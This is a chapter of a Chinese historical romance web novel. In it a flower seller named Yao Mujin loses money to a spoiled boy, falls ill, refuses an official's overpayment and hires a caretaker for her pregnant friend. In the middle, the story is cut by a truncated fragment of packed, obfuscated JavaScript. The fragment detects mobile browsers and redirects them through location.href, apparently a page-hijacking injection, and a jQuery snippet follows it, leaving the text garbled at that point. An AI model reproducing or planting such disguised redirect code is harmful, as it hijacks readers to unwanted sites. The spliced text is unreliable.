韩迟云反应相当快,一个箭步冲上前将姚木槿拦腰抱住:“你疯了?!” “我的钱,我的钱!”姚木槿挣扎着,想要挣脱韩迟云的禁锢。 韩迟云怒道:“为了那点儿钱,连命都不要了?!” “你放开我!放开!放开!”姚木槿拼命挣扎。 她的腰被韩迟云牢牢地箍在怀里,身前挡着男人宽阔的胸膛。她力气没他大,挣不出去,只能毫无章法地在这男人怀里对其拳打脚踢。 韩迟云生怕姚木槿冲动起来跳下寒潭,遂任凭对方如何挣扎,甚至拳头如雨点一般打在他身上,他却仍是紧抱着不松手。 会子乃楮纸制成,落入潭中,先时还漂在水上,不多会儿便吸饱了水,开始下沉。其上墨迹也越来越漫漶,渐渐已不可见。 姚木槿眼睁睁看着那些会子一张张沉下潭去,终于绝望地停止了挣扎。 韩迟云这时才意识到自己正于大庭广众之下抱着姚木槿的身子,将她按在怀里,霎时便如触电一般,松了手,向后连退三步才站住。 姚木槿没理会韩迟云的失措。会子沉入寒潭,她的心也随之沉入寒潭。 她突然没了愤怒,也没了委屈,只觉自己的脑袋嗡嗡作响,眼睛也变得朦胧,整个人像被一张无形的罗网罩住,什么都看不真切。 她耳中似乎听见温丛琳怒斥温谦的声音,但那声音是模糊的,忽远忽近,她没听清。 又听到韩迟云说话,说了什么,她也没听清。 又听到温谦的哭声,扯着嗓子哀嚎,仿佛受了天大委屈似的,烦死人。 再之后,她感觉有人走到她身旁,拉起她的手,将几张纸塞进她手心。 她定睛看了看,拉她手的人是温丛琳;又低头看了看,塞在她手里的是已经被揉得皱巴巴的会子。 “我让阿谦把旁人抢走的钱都要了回来,你拿好。”温丛琳拉着姚木槿的手,柔声说着,“舍弟自小顽劣不堪,疏于管教,我这个做姐姐的亦难辞其咎。姚娘子,我代他向你赔不是。” 温丛琳的声音很温柔,柔得像一场春雨,随风潜入夜,润物细无声。 姚木槿心里的火全被这柔雨给浇灭了,她张了张口,想说些什么,最终却什么也没说出来——她可能是被气病了,耳朵里还是嗡嗡嗡的。 片刻之后,她听到韩迟云发话,音声沉稳地让围观众人全部散去。 韩大人的话,没人不听。待诸人渐渐散走,温丛琳向韩迟云行了个礼,而后便扯着还在呜咽抹泪的温谦远去了。 “走吧。”韩迟云亦迈步离开,与姚木槿擦肩而过时轻声说。 姚木槿没理他。 韩迟云已经走了过去,又回头看了她一眼,略有些犹豫,但最终还是与众人一起离开。 眨眼间,惹事的人和围观的人全走了,惟余姚木槿一个人呆愣愣地站在潭边,也不知站了多久。 潭水漾起涟漪,一圈圈,一层层,縠皱波纹丝丝缕缕。姚木槿的面颊也落了些涟漪,冰凉的,抬手一摸,原来是雨。 下雨了。 姚木槿却还站着,不想说话也不想动。下雨就下雨吧,她这一生不知淋过多少雨,也不差这一回。 忽然,一柄伞出现在姚木槿头顶,为她遮住了漫天雨珠。 那是一柄上好的翠竹伞。伞面以桐油小皮纸蒙成,其上绘着云山千里、雁影风树,一望便知价格不菲。 与伞一同出现的还有一抹浮动的暗香,隐隐约约,是沉水香的味道——本朝王孙贵胄皆喜焚香熏衣,但旁人都是用合香,唯独此人偏爱单香,还是这般清正古板的沉水香。 姚木槿没有回头,她已经知道身后为她撑伞之人是谁了。 19.讨好 雨越下越大。 雨滴坠在伞上,似琉璃碎落,溅起清冽的挽歌。 姚木槿没有回头,她知道身后为她撑伞的人是韩迟云。 韩大人去而复返,大抵是可怜她吧。毕竟韩大人爱民恤物,施舍一些怜悯给她这样的草民,也不算什么为难事。 她不知自己该不该向他道谢。 她明白,无论是让她道歉还是让温谦还钱,韩迟云从头到尾没有错处,可她心里又实在憋闷得紧。 好半晌之后,姚木槿终于开口:“韩大人为奴家撑伞,就不怕坏了大人清名?” 她听到韩迟云发出一声轻叹,道:“你先回去歇着,雅集这边的事,你不用管了。” 姚木槿低声应了,她确实也不愿再待在这里。想了想,终究还是对韩迟云说了句:“……多谢韩大人。” 话毕,姚木槿径直向山下走去。 伞外落雨如苔花,一朵一朵绽放于发梢衣襟,才走两步就觉肩臂皆被打湿。姚木槿心疼地抹了抹臂上雨渍,这件石绿缬纹圆领袍是朝廷赏下来的好衣裳,她不忍心弄坏。 韩迟云紧赶几步追上来,再次将伞举在姚木槿头顶:“把伞拿着,淋雨回去要害病的。” 姚木槿摇头拒绝。 披了他的衣裳,就要去给他还衣裳;拿了他的伞,又要去给他还伞。一来一往,一回一还,究竟有完没完了? 她将沾了泥水的袍摆拎起,不等韩迟云再说话,拔腿便跑得不见人影。 夜里,姚木槿果然发烧了。 额头滚烫,浑身颤抖。她从床上爬起来,拿过案上执壶和陶杯,“咕嘟咕嘟”给自己灌了两杯水。之后又回到床上躺着,明明是大夏天,却将被子紧裹于身。 待到东方既白之时,姚木槿发出一身汗,感觉好了许多。至此已是睡意全无,干脆倚着床栏拥被而坐,开始琢磨昨日凤凰山雅集发生的事。 温丛琳塞给她的会子,她回家之后数了数,只有七张。也就是说,抢夺时被撕碎扔在地上的,以及被温谦扔进水里弄丢的,合计十三张,共三十九贯。 那些钱是她凭借自己的巧思和辛苦,从皇后娘娘那儿得来的。是她的钱,也该她得。既然温谦带人抢走弄坏了,那他就应该依原数赔给她。 莫说什么十二三岁的男孩子正是狗见了都嫌的年纪,他是不懂事,可他有父有母,既如此,他的父母就该为他的行为负责。温丛琳确实迫着温谦道歉了,可道歉有什么用?道歉有用的话,还要衙门干什么? 还有昨日跟随温谦一起抢钱玩儿的那些人,不消说,定然都是这临安府最金贵的纨绔子弟。什么户部尚书家的小公子,大理寺卿家的小官人,各个都是姚木槿惹不起的。 可这是大宋的行在,是大宋的临安府,是天子脚下。 天子脚下也没有王法了吗? ——她不信。 她相信这世上一定还有王法,一定还有心向百姓的好官。 思来想去,姚木槿决定等天一亮就去温御史府上讨要那三十九贯。倘若温御史不分青红皂白只偏向自己儿子,她就去敲登闻鼓,去状告他们欺负人。 她姚木槿就是这样的性子——谁对她好,她就对谁好;谁不让她好过,她也绝不会忍气吞声。 可令人惊愕的是,天亮之后,姚木槿还没出门讨钱,送钱的人竟然自己登门了。 “姚娘子,方便开门么?”门外响起一个略显耳熟的清亮女声。 其时姚木槿正在屋里换衣裳,听得有人叫她,赶忙系好裙带跑出去。哪知一开门就愣在了原地。 门外站着的竟然是韩迟云的女使鱼丽,而鱼丽怀中抱着的,乃是一只以上好的小叶紫檀打制成的钱匣。 “怎么,不欢迎我呀?”鱼丽见姚木槿发怔,便笑问道。 姚木槿赶忙将鱼丽请入屋内:“不知鱼丽养娘来我这儿……有何贵干?” 鱼丽将怀中钱匣往桌上一放,打趣道:“官人打发我来给你送钱,顺便让我看看你有没有在家里哭鼻子。” 边说着话,鱼丽边将钱匣打开,姚木槿霎时惊得目瞪口呆。但见那匣内放着整整齐齐一摞会子,面值皆为一贯,粗略看去,少说也有百张。 “听说昨日在凤凰山,你被温家那孩子欺负,弄丢不少钱。”鱼丽耐心地解释着,“温家小官人就那德行,你别和皮孩子计较。温御史老来得子,整日娇纵着,早纵得没边儿了。你要是跟他置气,能把你活生生气死。这些钱是我们官人赔给你的,你好生收下。” “为何是他赔钱给我?”姚木槿奇道。 被她这么一问,鱼丽也奇道:“谁赔不是一样么?赔了就行呗。我们官人将钱赔你,你就放心大胆地收着,反正他也亏不了。” 待鱼丽说完,姚木槿在心底一咂摸,瞬间悟出了内中深意——噢,感情这是准姐夫替小舅子赔钱呢。准姐夫缘何如此?那必然是想趁机讨姐姐欢心咯。 姚木槿轻嗤一声,好得很,人家三口子将来是一家人,确实谁赔都一样。既然如此,她也没啥好推辞的,这钱她收了。 将房内那把破破烂烂的灯挂椅搬过来,姚木槿转身坐在椅上,取出匣中会子,一张一张数了起来。 鱼丽倒是毫不见外,顺势拉过另外一把椅子坐了,托着腮帮子看姚木槿数钱。 不多会儿便数清楚了,钱匣内果然是一百张会子,每张面值一贯,合计一百贯。姚木槿拿出三十九贯放在桌上,将余下的会子又装回钱匣,推到鱼丽面前。 “怎么了?”鱼丽不解。 “多出这许多,还请鱼丽养娘拿回去还给你们官人。” “白给的,你不要啊?” 姚木槿摇头,她不要。 此前在西湖画舫,她将三十文一枝的蓝莲花以翻倍的价格卖给韩迟云,那是买卖。做买卖就是买低卖高,是“周瑜打黄盖,一个愿打一个愿挨”。 可现在,她若是平白多拿韩迟云六十一贯,则是贪婪——贪婪是条毒虺,一旦被缠住,就再也挣不脱。 鱼丽无奈地将钱收好,又问姚木槿昨儿淋了雨,可有身子不适? 姚木槿没告诉她自己半夜发烧的事,只客气地说一切都好。二人又闲聊几句,鱼丽起身告辞。 相府的轿子停在黑羊巷外,姚木槿送鱼丽出了陋巷。目送对方上轿离去,她返回屋内将会子全部装好,这便进城寻顾沾沾去了。 顾沾沾看到姚木槿拿来的六十贯,喜得面颊绯红、眼中含泪,跳起来抱住姚木槿,“吧唧”“吧唧”就在她脸上亲了两口。 姚木槿也被顾沾沾的孩子模样逗笑,佯嗔道:“就快当阿娘的人了,还是这般不稳重。” 话毕,嘱咐顾沾沾在家中安稳等着,她去为她雇女使。 临安府的女使仆妇们也有自己的行会,行会亦有行老,雇佣女使、乳娘等也须得通过行老。原因之一是行老会为被雇者的品性做担保,保证其在主家不会作奸犯科;原因之二是行老要为被雇者把关,免得去了那刻薄人家吃苦头。 姚木槿拿着钱去了女使行会,找到行会里德高望重的行老崔妈妈,并将自己的需求和家中情况告知对方。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346666|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >崔妈妈翻了翻行会的花名簿,之后便打发人去怀庆坊将她的本家妹子叫来。 “我这本家妹子是个实在人,大伙儿都管她叫崔大娘,今年三十有五,光孩子就生养了六个,还给富贵人家做过乳娘,照顾有身孕之人最是拿手。今日你与她见见,若是看得入眼,便让她去照料你妹妹。”崔妈妈颇有些得意地说。 不多会儿,崔大娘便从怀庆坊赶了过来。 姚木槿一看,果然是个干练妇人,一身粗布短打,说话做事皆利索;唯一的缺点就是嗓门太大,遇人就爱扯着嗓子吆喝。但姚木槿觉得这也没什么,有人吴侬软语,有人粗声大气,皆是性子使然罢了——彼时的她并不知道,就是这崔大娘的吆喝嗓门,在不久的将来,差一点儿把她害死。 这边二人相看妥当,签契画押,之后姚木槿便带着崔大娘回到顾沾沾那儿,又和顾沾沾一起收拾出一间挟屋给崔大娘住。诸人已经讲好,崔大娘从今日就开始伺候顾沾沾,一直到岁末春初顾沾沾做完月子。 “包在咱身上!咱一定把顾娘子和她腹中孩儿照看得妥妥当当。”崔大娘朗声笑着,这便挽起袖子去灶房生火做饭去了。 姚木槿留在顾沾沾这儿陪她闲聊,直至用罢飧食,她这才慢悠悠回了黑羊巷。 自那日起,姚木槿便没再与韩迟云见过面。 倒是沈如钧来找过她一次,对她说家书暂未收到,待收到之后一定会尽快接她入府。她爽快地答应了,又拿出自己绣好的荷包交给沈如钧。 “姚娘子真是心灵手巧。”沈如钧看着那荷包,笑言道。 话毕,他将荷包挂在腰间,弄得十分显眼,仿佛生怕旁人看不到似的。 这期间,余杭县的县老爷也打发人来找过姚木槿一次,询问她究竟何时入府,又叮嘱她入府之后给韩迟云多吹吹枕边风,让韩迟云把他们大人举荐给相爷。 姚木槿打着哈哈,只说快了快了,就这么暂时搪塞过去。 至六月初六崔真君诞辰,杭城热闹得如过年一般。姚木槿挑了满满一担花在城中走街串巷地叫卖,不知不觉行至五圣庙,抬头一看,再往东去便是相府。 姚木槿脚步一顿,挑起担子转身便走。 她想起凤凰山雅集之时韩皇后说过的话,便是在今日,韩温两家要交换帖子。 交换帖子乃本朝婚俗之一,帖分草帖、定帖两种。在正式谈婚论嫁之前,男女双方将生辰八字写于帖上,问卜是否相克,这叫草帖。 草帖问卜若是“吉”,便可交换定帖。 定帖要写明祖上三代官职,母亲姓氏,女方陪嫁有多少,男方财产有多少,田产、房舍、金银等诸物皆详细列出,之后交给对方勘验。倘若双方看后有任何不满意之处,婚事便不会再进行下去。(注释1) 姚木槿此刻想起韩迟云的婚事,突然觉得有些心烦。 她不太愿意想起韩迟云。她活了这么多年,从来没有过这种感觉——韩迟云总让她慌张,让她心里乱糟糟的。 她的心和身体都已经很久没有放任何一个男人进来过了。 她不想被男人困住,尤其不想被一个注定与之无缘的男人困住。 于是姚木槿放弃了五圣庙那边人来人往的热闹,径自挑着花担往回走,边走边暗暗决定,就算将来入了相府,她也只跟沈如钧说话,不理韩迟云。 可惜,世间诸事并非她想不理就能不理。 在嘉平二年的夏天快要结束的时候,姚木槿因着自己路见不平的侠气,遇到了一桩麻烦事,以至于她不得不再次主动去找韩迟云。